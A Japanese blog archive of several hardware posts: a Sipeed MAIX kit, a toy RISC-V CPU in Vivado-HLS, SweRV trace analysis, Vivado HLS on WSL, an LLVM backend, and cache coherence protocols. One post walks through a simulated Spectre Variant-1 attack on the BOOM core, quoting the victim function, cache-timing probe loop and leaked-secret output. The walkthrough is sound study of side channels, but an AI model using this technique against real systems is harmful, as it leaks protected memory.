随分前にIndieGogoで募集していた、RISC-V ASICチップ+AIモジュールキット、Sipeed MAIX が届いた。 モードと外部ディスプレイ、カメラなどの基板がセットだ。
とりあえずまだ時間がないのでまだ触れない... あと、ドキュメントが余りないかな。
以下のあたりだろうか?まずは組み立て方とチュートリアルを探さなければ... まずはHello World的な感じで動かしたいんですけど...
随分前にIndieGogoで募集していた、RISC-V ASICチップ+AIモジュールキット、Sipeed MAIX が届いた。 モードと外部ディスプレイ、カメラなどの基板がセットだ。
とりあえずまだ時間がないのでまだ触れない... あと、ドキュメントが余りないかな。
以下のあたりだろうか?まずは組み立て方とチュートリアルを探さなければ... まずはHello World的な感じで動かしたいんですけど...
Vivado-HLSの勉強をしてみたいのだけれども、何か題材をもってデザインを作ってみる方が良いと思う。
そこで、簡単なモデルでも良いのでCPUを作ってみることにした。 最終的にはRISC-Vを実行させてみたいのだけれども、まずは簡単なモデルから動かすということで、実験してみる。 Vivado-HLSはC言語だから、テストベンチなども作りやすいはずだ。
こういった、Vivado-HLSを使ったデザイン開発には多くのメリットがあると思う。 CPUなどの性能をも取られる分野でも、
という訳で、簡単なモデルを作ってみた。
CPUなので、命令バスとデータバスを用意している。
void cpu_hls (const uint32_t inst_mem[1024], uint32_t data_mem[1024])
内部にCPUモデルを持っており、レジスタなどの状態を含んでいる。
... class rv32 { uint32_t reg32[32]; public: inst_rv32_t decode_inst (uint32_t inst);
さらに、いくつかの補助関数をクラスのメンバ関数として挿入した。
inst_rv32_t decode_inst (uint32_t inst); uint8_t get_rs1_addr (uint32_t inst) { return ((inst >> 15) & 0x1f); } uint8_t get_rs2_addr (uint32_t inst) { return ((inst >> 20) & 0x1f); } uint8_t get_rd_addr (uint32_t inst) { return ((inst >> 7) & 0x1f); } uint32_t read_reg(uint8_t addr) { return reg32[addr]; } void write_reg(uint8_t addr, uint32_t data) { reg32[addr] = data; }
デコーダは命令を解析して、必要なOpcodeを生成するだけだ。とりあえず、ADD, LOAD, STOREだけ。
inst_rv32_t rv32::decode_inst (uint32_t inst) { switch(inst & 0x3f) { case 0x33 : return ADD; case 0x03 : return LW; case 0x23 : return SW; case 0xff : return NOP; // default : return NOP; } }
デコード結果に基づいて命令を実行するループを定義する。
do { inst = inst_mem[addr]; dec_inst = u_rv32.decode_inst(inst); uint32_t reg_data; uint8_t rs1 = u_rv32.get_rs1_addr (inst); uint8_t rs2 = u_rv32.get_rs2_addr (inst); uint8_t rd = u_rv32.get_rd_addr (inst); switch (dec_inst) { case LW : { uint32_t addr = rs1 + ((inst >> 20) & 0xfff); reg_data = mem_access(LOAD, rs1, addr, data_mem); u_rv32.write_reg(rd, reg_data); break; } case ADD : { reg_data = u_rv32.read_reg(rs1) + u_rv32.read_reg(rs2); u_rv32.write_reg(rd, reg_data); break; } ...
まずはテストをしなければならないのだが、これだけではテストパタンも流せないので、とりあえずはVivado-HLSによるVerilogの生成を行ってみる。
directives.tcl
として以下を定義した。つまり、命令バスとデータバスは1つのバスとして扱うことにする。
set_directive_interface -mode s_axilite -bundle slv0 "cpu_hls" set_directive_interface -mode s_axilite -bundle slv0 "cpu_hls" inst_mem set_directive_interface -mode s_axilite -bundle slv0 "cpu_hls" data_mem
これでVivado-HLSでVerilogファイルを生成してみる。
cpu_hls/normal/syn/verilog/cpu_hls.v
module cpu_hls ( ap_clk, ap_rst_n, s_axi_slv0_AWVALID, s_axi_slv0_AWREADY, s_axi_slv0_AWADDR, s_axi_slv0_WVALID, s_axi_slv0_WREADY, s_axi_slv0_WDATA, s_axi_slv0_WSTRB, s_axi_slv0_ARVALID, s_axi_slv0_ARREADY, s_axi_slv0_ARADDR, s_axi_slv0_RVALID, s_axi_slv0_RREADY, s_axi_slv0_RDATA, s_axi_slv0_RRESP, s_axi_slv0_BVALID, s_axi_slv0_BREADY, s_axi_slv0_BRESP, interrupt ); ... cpu_hls_slv0_s_axi #( .C_S_AXI_ADDR_WIDTH( C_S_AXI_SLV0_ADDR_WIDTH ), .C_S_AXI_DATA_WIDTH( C_S_AXI_SLV0_DATA_WIDTH )) cpu_hls_slv0_s_axi_U( .AWVALID(s_axi_slv0_AWVALID), .AWREADY(s_axi_slv0_AWREADY), .AWADDR(s_axi_slv0_AWADDR), .WVALID(s_axi_slv0_WVALID), .WREADY(s_axi_slv0_WREADY), ...
ちゃんとバスが1つにまとめられている。
Western DigitalからオリジナルのRISC-VコアSweRVがリリースされ、テストベンチが存在しないのでしばらく放置していたのだが、リビジョンが上がってテストベンチが公開された。
https://github.com/westerndigitalcorporation/swerv_eh1
しかし、ソースコードは公開されておらず、hexファイルしか存在してない!これではどのようにして動いているのか解析できない。
./testbench/hex/data.hex ./testbench/hex/program.hex
テストベンチの実行方法は以下だ。単純にhexをロードして動作させている。実行化完了すると"HELLO WORLD"と表示される。
make -f $RV_ROOT/tools/Makefile verilator-run
... cp /home/msyksphinz/work/riscv/swerv_eh1/testbench/hex/*.hex . ./obj_dir/Vtb_top Start of sim HELLO WORLD End of sim
手動で逆アセンブリしても良いのだが、唯一の解析手段としてトレースデータ(trace_port.csv
)が出力されている。これを見てみることにする。
少し読みにくいので、文字列を揃えて読みやすくする。
diff --git a/testbench/tb_top.sv b/testbench/tb_top.sv index a6dff4d..e5da3d1 100644 --- a/testbench/tb_top.sv +++ b/testbench/tb_top.sv @@ -131,8 +131,28 @@ module tb_top ( input logic core_clk, input logic reset_l); $write("%c", i_ahb_lsu.WriteData[7:0]); end - always @(posedge core_clk) - $fwrite(tp,"%b,%h,%h,%0h,%0h,3,%b,%h,%h,%b\n", rvtop.trace_rv_i_valid_ip, rvtop.trace_rv_i_address_ip[63:32], rvtop.trace_rv_i_address_ip[31:0], rvtop.trace_rv_i_insn_ip[63:32], rvtop.trace_rv_i_insn_ip[31:0],rvtop.trace_rv_i_exception_ip,rvtop.trace_rv_i_ecause_ip,rvtop.trace_rv_i_tval_ip,rvtop.trace_rv_i_interrupt_ip); + always @(posedge core_clk) begin + $fwrite(tp,"%03b,0x%08x_%08x,0x%08x_%08x,3,%03b,%01x,%08x,%03b ", + rvtop.trace_rv_i_valid_ip, + rvtop.trace_rv_i_address_ip[63:32], + rvtop.trace_rv_i_address_ip[31: 0], + rvtop.trace_rv_i_insn_ip[63:32], + rvtop.trace_rv_i_insn_ip[31: 0], + rvtop.trace_rv_i_exception_ip, + rvtop.trace_rv_i_ecause_ip, + rvtop.trace_rv_i_tval_ip, + rvtop.trace_rv_i_interrupt_ip); + end // always @ (posedge core_clk) initial begin
ついでに、DASMも追加して逆アセンブルを表示できるようにする。
+ if (|rvtop.trace_rv_i_valid_ip[1:0]) begin + $fwrite (tp, "// "); + if (rvtop.trace_rv_i_valid_ip[1]) begin + $fwrite(tp, " | DASM(%08x)", rvtop.trace_rv_i_insn_ip[63:32]); + end + if (rvtop.trace_rv_i_valid_ip[0]) begin + $fwrite(tp, " | DASM(%08x)", rvtop.trace_rv_i_insn_ip[31: 0]); + end + end // else: !if(|rvtop.trace_rv_i_valid_ip[1:0]) + $fwrite (tp, "\n"); + end // always @ (posedge core_clk)
trace_port.csv
を見てみる。さらに、先頭の3ビットが"000"のものはバブルなので除去すると以下のようになる。
$ grep -v ^000 trace_port.csv
001,0x00000000_00000000,0x00000000_b0219173,3,000,00,00000000,000 // | DASM(b0219173) 001,0x00000000_00000004,0x00000000_ee0002b7,3,000,00,00000000,000 // | DASM(ee0002b7) 001,0x00000000_00000008,0x00000000_0002e293,3,000,00,00000000,000 // | DASM(0002e293) 001,0x00000000_0000000c,0x00000000_30529173,3,000,00,00000000,000 // | DASM(30529173) 001,0x00000000_00000010,0x00000000_5d555337,3,000,00,00000000,000 // | DASM(5d555337) 001,0x00000000_00000014,0x00000000_55536313,3,000,00,00000000,000 // | DASM(55536313) 001,0x00000000_00000018,0x00000000_7c0310f3,3,000,00,00000000,000 // | DASM(7c0310f3) 001,0x00000000_0000001c,0x00000000_000002b7,3,000,00,00000000,000 // | DASM(000002b7) 001,0x00000000_00000020,0x00000000_0002e293,3,000,00,00000000,000 // | DASM(0002e293) 001,0x00000000_00000024,0x00000000_7f829173,3,000,00,00000000,000 // | DASM(7f829173) 001,0x00000000_00000028,0x00000000_000002b7,3,000,00,00000000,000 // | DASM(000002b7) 001,0x00000000_0000002c,0x00000000_0002e293,3,000,00,00000000,000 // | DASM(0002e293) 001,0x00000000_00000030,0x00000000_7f929173,3,000,00,00000000,000 // | DASM(7f929173) 011,0x00000038_00000034,0xf0040537_00000013,3,000,00,00000000,000 // | DASM(f0040537) | DASM(00000013) 011,0x00000040_0000003c,0x00100013_00056513,3,000,00,00000000,000 // | DASM(00100013) | DASM(00056513) 011,0x00000048_00000044,0x04806493_000004b7,3,000,00,00000000,000 // | DASM(04806493) | DASM(000004b7) 001,0x00000048_0000004c,0x04806493_00108093,3,000,00,00000000,000 // | DASM(00108093) 011,0x00000054_00000050,0xd05805b7_00108093,3,000,00,00000000,000 // | DASM(d05805b7) | DASM(00108093) 011,0x0000005c_00000058,0x000004b7_0005e593,3,000,00,00000000,000 // | DASM(000004b7) | DASM(0005e593) 011,0x00000064_00000060,0x0095a023_0484e493,3,000,00,00000000,000 // | DASM(0095a023) | DASM(0484e493) 001,0x00000064_00000068,0x0095a023_000004b7,3,000,00,00000000,000 // | DASM(000004b7) 011,0x00000070_0000006c,0x0095a023_0454e493,3,000,00,00000000,000 // | DASM(0095a023) | DASM(0454e493) 011,0x00000078_00000074,0x00748493_00000013,3,000,00,00000000,000 // | DASM(00748493) | DASM(00000013) 001,0x00000078_0000007c,0x00748493_00000013,3,000,00,00000000,000 // | DASM(00000013) 011,0x00000084_00000080,0x00000013_0095a023,3,000,00,00000000,000 // | DASM(00000013) | DASM(0095a023) 011,0x0000008c_00000088,0x00000013_0095a023,3,000,00,00000000,000 // | DASM(00000013) | DASM(0095a023) 011,0x00000094_00000090,0x00348493_00000013,3,000,00,00000000,000 // | DASM(00348493) | DASM(00000013)
さらに逆アセンブリを追加する。
grep -v ^000 trace_port.csv | spike-dasm
001,0x00000000_00000000,0x00000000_b0219173,3,000,00,00000000,000 // | csrrw sp, minstret, gp 001,0x00000000_00000004,0x00000000_ee0002b7,3,000,00,00000000,000 // | lui t0, 0xee000 001,0x00000000_00000008,0x00000000_0002e293,3,000,00,00000000,000 // | ori t0, t0, 0 001,0x00000000_0000000c,0x00000000_30529173,3,000,00,00000000,000 // | csrrw sp, mtvec, t0 001,0x00000000_00000010,0x00000000_5d555337,3,000,00,00000000,000 // | lui t1, 0x5d555 001,0x00000000_00000014,0x00000000_55536313,3,000,00,00000000,000 // | ori t1, t1, 1365 001,0x00000000_00000018,0x00000000_7c0310f3,3,000,00,00000000,000 // | csrrw ra, unknown_7c0, t1 001,0x00000000_0000001c,0x00000000_000002b7,3,000,00,00000000,000 // | lui t0, 0x0 001,0x00000000_00000020,0x00000000_0002e293,3,000,00,00000000,000 // | ori t0, t0, 0 001,0x00000000_00000024,0x00000000_7f829173,3,000,00,00000000,000 // | csrrw sp, unknown_7f8, t0 001,0x00000000_00000028,0x00000000_000002b7,3,000,00,00000000,000 // | lui t0, 0x0 001,0x00000000_0000002c,0x00000000_0002e293,3,000,00,00000000,000 // | ori t0, t0, 0 001,0x00000000_00000030,0x00000000_7f929173,3,000,00,00000000,000 // | csrrw sp, unknown_7f9, t0 011,0x00000038_00000034,0xf0040537_00000013,3,000,00,00000000,000 // | lui a0, 0xf0040 | nop 011,0x00000040_0000003c,0x00100013_00056513,3,000,00,00000000,000 // | li zero, 1 | ori a0, a0, 0 011,0x00000048_00000044,0x04806493_000004b7,3,000,00,00000000,000 // | ori s1, zero, 72 | lui s1, 0x0 001,0x00000048_0000004c,0x04806493_00108093,3,000,00,00000000,000 // | addi ra, ra, 1 011,0x00000054_00000050,0xd05805b7_00108093,3,000,00,00000000,000 // | lui a1, 0xd0580 | addi ra, ra, 1 011,0x0000005c_00000058,0x000004b7_0005e593,3,000,00,00000000,000 // | lui s1, 0x0 | ori a1, a1, 0 011,0x00000064_00000060,0x0095a023_0484e493,3,000,00,00000000,000 // | sw s1, 0(a1) | ori s1, s1, 72 001,0x00000064_00000068,0x0095a023_000004b7,3,000,00,00000000,000 // | lui s1, 0x0 011,0x00000070_0000006c,0x0095a023_0454e493,3,000,00,00000000,000 // | sw s1, 0(a1) | ori s1, s1, 69 011,0x00000078_00000074,0x00748493_00000013,3,000,00,00000000,000 // | addi s1, s1, 7 | nop 001,0x00000078_0000007c,0x00748493_00000013,3,000,00,00000000,000 // | nop 011,0x00000084_00000080,0x00000013_0095a023,3,000,00,00000000,000 // | nop | sw s1, 0(a1) 011,0x0000008c_00000088,0x00000013_0095a023,3,000,00,00000000,000 // | nop | sw s1, 0(a1)
0xd058_0000
に文字データを書き込む。という、非常にストレートで無理やり文字列を出力するプログラムだった。少し笑える。
Vivado HLSについて再入門しようと思っている。 最近は環境をVirtual BoxからWindows Subsystem on Linux(WSL)に変更したので、その環境下でVivado HLSが動くようにしておきたい。
私が使うのは、基本的にGUIは立ち上げずにスクリプトだけで処理を行いたい。 そのため、これまでに作ったスクリプトがちゃんとWSL上のVivado HLSで動作するのかを確認しておいた。
使用したのは、昔作ったedge_filterのデザインだ。
実行してみると、どうもincludeファイルが読み込めずに失敗してしまう。
fpga_designs/vivado_hls/edge_filter/test_edge_filter.cpp
#include <stdio.h> #include <stdint.h> #include "./edge_filter.h"
コンパイルすると以下のようにエラーが発生する。
make
INFO: [HLS 200-10] Setting target device to 'xc7z020clg484-1' INFO: [SIM 211-2] *************** CSIM start *************** INFO: [SIM 211-4] CSIM will launch GCC as the compiler. make[1]: Entering directory '/home/msyksphinz/work/fpga_designs/vivado_hls/edge_filter/edge_filter/normal/csim/build' Compiling ../../../../test_edge_filter.cpp in debug mode csim.mk:77: recipe for target 'obj/test_edge_filter.o' failed make[1]: Leaving directory '/home/msyksphinz/work/fpga_designs/vivado_hls/edge_filter/edge_filter/normal/csim/build' In file included from ../../../../test_edge_filter.cpp:1:0: /usr/include/stdio.h:27:36: fatal error: bits/libc-header-start.h: No such file or directory #include <bits/libc-header-start.h> ^ compilation terminated. make[1]: *** [obj/test_edge_filter.o] Error 1
SDAccelなどのQ&Aを調査していると、どうもいろいろパッケージをインストールしなければならない様だ。
sudo apt-get install gcc-multilib g++-multilib
上記のパッケージをインストールすると、次に以下のエラーが発生する。
INFO: [SIM 211-2] *************** CSIM start *************** INFO: [SIM 211-4] CSIM will launch GCC as the compiler. make[1]: Entering directory '/home/msyksphinz/work/fpga_designs/vivado_hls/edge_filter/edge_filter/normal/csim/build' Compiling ../../../../test_edge_filter.cpp in debug mode Compiling ../../../../edge_filter.cpp in debug mode Generating csim.exe Makefile.rules:399: recipe for target 'csim.exe' failed make[1]: Leaving directory '/home/msyksphinz/work/fpga_designs/vivado_hls/edge_filter/edge_filter/normal/csim/build' /tools/Xilinx/Vivado/2018.3/tps/lnx64/binutils-2.26/bin/ld: cannot find crt1.o: No such file or directory /tools/Xilinx/Vivado/2018.3/tps/lnx64/binutils-2.26/bin/ld: cannot find crti.o: No such file or directory /tools/Xilinx/Vivado/2018.3/tps/lnx64/binutils-2.26/bin/ld: cannot find -lpthread /tools/Xilinx/Vivado/2018.3/tps/lnx64/binutils-2.26/bin/ld: cannot find -lm collect2: error: ld returned 1 exit status make[1]: *** [csim.exe] Error 1
今度はcrtが存在しないと怒られてしまった。これはどうしたらいいんだ?
SDAccelのQ&Aを見ていると、以下のようにシンボリックリンクを張れば良いらしい。
sudo ln -s /usr/lib/x86_64-linux-gnu /usr/lib64
これで動作するようになった。無事にシミュレーションとVerilogの生成に成功した。
LLVMにはすでにRISC-Vのバックエンドサポートが追加されている。しかし、勉強のために独自のRISC-V実装をLLVMに追加している。
関数呼び出しの際のフレームを生成する。これはCpu0 BackendのChapter3_5に相当するところだ。 これがうまくいくと、main()関数を呼び出すという処理が行えるようになる。
最初に実装したところだと、なぜか途中でコード生成が止まってしまいどうなっているのか分からなかった。
% ./bin/llc -march=myriscvx32 -relocation-model=pic -filetype=asm ch3.bc -o - .text .section .mdebug.abiO32 .previous .file "ch3.cpp" 'mips32r2' is not a recognized processor for this target (ignoring processor) '+mips32r2' is not a recognized feature for this target (ignoring feature) '-noabicalls' is not a recognized feature for this target (ignoring feature) 'mips32r2' is not a recognized processor for this target (ignoring processor) '+mips32r2' is not a recognized feature for this target (ignoring feature) '-noabicalls' is not a recognized feature for this target (ignoring feature) Selecting: t7: ch = MYRISCVXISD::Ret t6, Register:i32 $a0, t6:1 Selecting: t6: ch,glue = CopyToReg t4, Register:i32 $a0, Constant:i32<0> Selecting: t4: ch = store<(store 4 into %ir.retval)> t0, Constant:i32<0>, FrameIndex:i32<0>, undef:i32 Selecting: t5: i32 = Register $a0 Selecting: t1: i32 = Constant<0> Selecting: t0: ch = EntryToken (ここで無限ループに入る)
色々調べていると、emilinateFrameIndex
を実装しないと途中でハングしてしまうらしい。
ハングじゃなくてちゃんと警告を出してほしいなあ。。。
eliminateFrameIndex()
をちゃんと実装すると、コードが生成されるようになった。
% ./bin/llc -march=myriscvx32 -relocation-model=pic -filetype=asm ch3.bc -o - .text .section .mdebug.abiO32 .previous .file "ch3.cpp" .globl main # -- Begin function main .p2align 2 .type main,@function .ent main # @main main: .frame $x8,8,$x1 .mask 0x00000000,0 .set noreorder .set nomacro # %bb.0: # %entry addi x2, x2, -8 addi x10, x0, 0 sw x10, 4(x2) addi x2, x2, 8 ret .set macro .set reorder .end main $func_end0: .size main, ($func_end0)-main # -- End function
どうにか生成できたぞ。
BOOM v2.2がリリースされたことに伴い、BOOMを使ったSpectre/Meltdownの攻撃手法を再現するリポジトリの存在を知った。
boom-attacks というリポジトリだ。これはアウトオブオーダプロセッサのBOOMを使い、Spectreの攻撃手法を再現しようというものである。
このリポジトリ曰く、Spectre/Meltdownのうち、
condBranchMispred.c
)indirBranchMispred.c
)を再現できる。実装中でまだ未完成であるが、Return Stack Buffer Attackについても実装中とのこと。
テスト環境としては、BOOM側のリポジトリとして8bb0e34
を使用している(リビジョンを上げすぎると挙動が変わる可能性があるので注意)。これはまだBOOMv2 ?の実装で、RV64Gまでしかサポートしていないのでコンパイル時に注意。
boom-attacksリポジトリをcloneして、さっそくmakeしてみる。
git clone https://github.com/riscv-boom/boom-attacks.git
cd boom-attacks
使用しているBOOMのリビジョンではRVCをサポートしていないので、コンパイルオプションを変える。
diff --git a/Makefile b/Makefile index 66498eb..3c981b2 100644 --- a/Makefile +++ b/Makefile @@ -16,8 +16,8 @@ DEP:=dep # Commands and flags CC:=riscv64-unknown-elf-gcc OBJDUMP:=riscv64-unknown-elf-objdump -S -CFLAGS=-mcmodel=medany -l -std=gnu99 -O0 -g -fno-common -fno-builtin-printf -Wall -I$(INC) -Wno-unused-function -Wno-unused-variable -LDFLAGS:=-static -nostdlib -nostartfiles -lgcc +CFLAGS=-mcmodel=medany -march=rv64g -l -std=gnu99 -O0 -g -fno-common -fno-builtin-printf -Wall -I$(INC) -Wno-unused-function -Wno-unused-variable +LDFLAGS:=-static -march=rv64g -nostdlib -nostartfiles -lgcc DEPFLAGS=-MT $@ -MMD -MP -MF $(DEP)/$*.d RM=rm -rf
これで実行してみる。まずはcondBranchMispred
(Variant-1)から。
$ make output/condBranchMispred.riscv.out cd /home/msyksphinz/work/riscv/boom-template/verisim && /home/msyksphinz/work/riscv/boom-template/verisim/simulator-boom.system-BoomConfig +max-cycles=10000000 +verbose output/condBranchMispred.riscv 3>&1 1>&2 2>&3 | /home/msyksphinz/riscv_boomv22/bin/spike-dasm > output/condBranchMispred.riscv.out && [ $PIPESTATUS -eq 0 ] m[0x0x80002d90] = want(!) =?= guess(hits,dec,char) 1.(10, 33, !) 2.(2, 5, ) m[0x0x80002d91] = want(") =?= guess(hits,dec,char) 1.(9, 34, ") 2.(2, 205, m[0x0x80002d92] = want(#) =?= guess(hits,dec,char) 1.(10, 35, #) 2.(2, 8,) m[0x0x80002d93] = want(T) =?= guess(hits,dec,char) 1.(8, 84, T) 2.(3, 2, ) m[0x0x80002d94] = want(h) =?= guess(hits,dec,char) 1.(8, 104, h) 2.(2, 10, ) m[0x0x80002d95] = want(i) =?= guess(hits,dec,char) 1.(9, 105, i) 2.(3, 124, |) m[0x0x80002d96] = want(s) =?= guess(hits,dec,char) 1.(10, 115, s) 2.(2, 8,) m[0x0x80002d97] = want(I) =?= guess(hits,dec,char) 1.(6, 73, I) 2.(3, 44, ,) m[0x0x80002d98] = want(s) =?= guess(hits,dec,char) 1.(7, 115, s) 2.(2, 85, U) /home/msyksphinz/work/riscv/boom-template/Makefrag:54: recipe for target 'output/condBranchMispred.riscv.out' failed $
ここまで進んでタイムアウトで落ちる。
この結果を見てわかるのは、
!\"#ThisIsTheBabyBoomerTest
)の1文字ずつを抽出していく。実施している内容としては、まだあまり理解できていないのだが、
変数results
に答え(キャッシュのレイテンシから答えらしきもの)を格納する。
最初にキャッシュをクリアする。このFlushCacheの実装がまた謎なのだが、過去の内容を上書きすることによってキャッシュの中身を追い払っているのか?RISC-Vには明確なキャッシュ操作命令が無いため、このような実装になっている?
// run the attack on the same idx ATTACK_SAME_ROUNDS times for(uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS; ++atkRound){ // make sure array you read from is not in the cache flushCache((uint64_t)array2, sizeof(array2));
TRAIN_TIMES
が6なので、5回まではpassInIdx
の値はatkRoundの値となり、最後の1回だけattackIdx
となる。これがsecretStringからarray1(いろいろと触る対象)のメモリマップ上の距離で、uint64_t attackIdx = (uint64_t)(secretString - (char*)array1);
ここにアクセスが発生するように仕向ける、ということなのだと思う。
つまり、BHRをだますために、最初の5回の試行は通常通りarray1へのアクセスを繰り返し、最後の1回で攻撃対象のアドレスを指すようにする。これにより騙されたBHRはまんまとsecretStringにアクセスを実施し、それをキャッシュにしまい込んでしまう、ということか。
void victimFunc(uint64_t idx){ uint8_t dummy = 2; // stall array1_sz by doing div operations (operation is (array1_sz << 4) / (2*4)) array1_sz = array1_sz << 4; asm("fcvt.s.lu fa4, %[in]\n" "fcvt.s.lu fa5, %[inout]\n" "fdiv.s fa5, fa5, fa4\n" "fdiv.s fa5, fa5, fa4\n" "fdiv.s fa5, fa5, fa4\n" "fdiv.s fa5, fa5, fa4\n" "fcvt.lu.s %[out], fa5, rtz\n" : [out] "=r" (array1_sz) : [inout] "r" (array1_sz), [in] "r" (dummy) : "fa4", "fa5"); if (idx < array1_sz){ dummy = array2[array1[idx] * L1_BLOCK_SZ_BYTES]; } // bound speculation here just in case it goes over dummy = rdcycle(); }
// read out array 2 and see the hit secret value // this is also assuming there is no prefetching for (uint64_t i = 0; i < 256; ++i){ start = rdcycle(); dummy &= array2[i * L1_BLOCK_SZ_BYTES]; diff = (rdcycle() - start); if ( diff < CACHE_HIT_THRESHOLD ){ results[i] += 1; } }
全体的な流れとしては、以下のイメージか?かなりザックリだけど。
久しぶりににヘネパタ(「コンピュータアーキテクチャ 定量的アプローチ 第5版」)を読み直していると面白い。少しマルチコアプログラミングについて確認したいことがあったので、マルチコアにおけるキャッシュコヒーレンシを保つための手法についてもう一度勉強し直した。
キャッシュコヒーレンシとは、マルチコアにおけるメモリアクセスの一貫性を保つための仕組み。例えば、複数コアにおいて1つのメモリアドレスに対して処理を行うと、各コアのキャッシュにデータが残っているため最新のデータを取得することができず、処理に矛盾が発生してしまう。
コア0がある処理を行いメモリに書き込むと、その結果はコア0のキャッシュに書き込む。一方で、コア2も同様にある処理を行い同一メモリに書き込むと、そのメモリの最新の値はコア0のキャッシュの中にあるはずなのに、そのことを知らないコア2は勝手に自分のキャッシュにデータをアップデートする。すると、同じメモリアドレスのはずなのに異なる最新の値が異なるコアのキャッシュに格納されており、結果に矛盾が生じてしまう。
これを防ぐために様々な方法があるが、大きく分けて
の方法が存在する。キャッシュスヌーピングはコア数が少ない時は性能が良いが、スケーラビリティが足りない、一方でディレクトリ方式はコア数が少ない時は性能がいまいち出ないが、スケーラビリティが良くメニーコアで活用されている。
各コア内キャッシュは、各キャッシュラインが現在どのような状態であるのかを常に監視する。そのため、キャッシュ内で何らかのアクセスが発生すると、それを「スヌープバス」を通じて各コアにすぬーぷ情報を通知する。その方式に応じて、少しずつキャッシュスヌーピングの方式が異なる。大きく分けて以下のようなキャッシュスヌーピングの方式が存在する。
いろいろ存在しているが、MSIがもっとも単純な方式、これの性能を上げるためにMOSI, MESI, MOESIなどの方式があると考えてよい。
キャッシュラインの状態は、各コアでのデータの共有状態に応じて Modified, Shared, Invalidate の3状態を取る。キャッシュの状態は、
の3種類に分けられる。
MSIプロトコルの問題点は、上記の操作の際にコア2がキャッシュデータをシェアするとき、一度メモリに書き戻しを行ってから、コア2がメモリからデータを読み込むということである。この方式のメリットは、複数コアがキャッシュでデータを共有しているとき、そのデータは必ずメモリに書き戻されており、最新のデータはメモリに存在しているということだ。
しかし、データを共有するにあたり、必ず一度メモリに書き戻さなければならないというのは面倒だ。しかしメモリにデータを書き戻さないと、各コアのキャッシュに格納されている最新のデータを、一体誰がメモリに戻せばよいのかが分からなくなる。これを解決するために、キャッシュの属性に"Owned"という状態を追加する。このOwnedとなっているキャッシュラインは、そのキャッシュがデータの所有権を保持しており、メモリに対して書き戻す責任を持っている。つまり、上記のメモリアクセスの3. 4. の操作において、
MSIプロトコルにおいて、キャッシュの書き込みが発生した場合、スヌープバスを通じて全コアのキャッシュラインの検査が入る。しかし、もし自分のコアしかそのデータを持っていない場合、いちいちスヌープバスに問い合わせをするのは面倒となる。したがって、そのデータを自分のコアのキャッシュしか持ってないことが分かっている場合、スヌープ操作を省略することができる。このため、「自分のコアしかデータを持っていない状態」としてキャッシュラインに新たに"Exclusive"という状態を設ける。
Exclusiveの状態を検出するためには、コア0がキャッシュに新たにデータを読み込む場合、コア全体に対して渡すスヌープ検査の結果を拡張する。MSIプロトコルでは、コア0のスヌープ操作に対してコア0以外のコアが「完了」(つまり、コア0が問い合わせたデータはメモリに入っていることが保証されている)、という応答を返すのだが、MESIプロトコルでは、コア0の甥合わせに対して「そのキャッシュラインのデータは持っていない」という応答を返すことができる。この応答がすべてのコアから帰ってきた場合、コア0は当該データをキャッシュしている唯一のコアとなるので、メモリから当該データを読み込んだ後、そのキャッシュラインを"Exclusive"として良い、ということになる。
これまでのプロトコルをすべて合わせて、"Modified", "Owned", "Exclusive", "Shared", "Invalidate"の5つの状態を持たせたスヌーププロトコルのことをMOESIプロトコルと呼んでいる。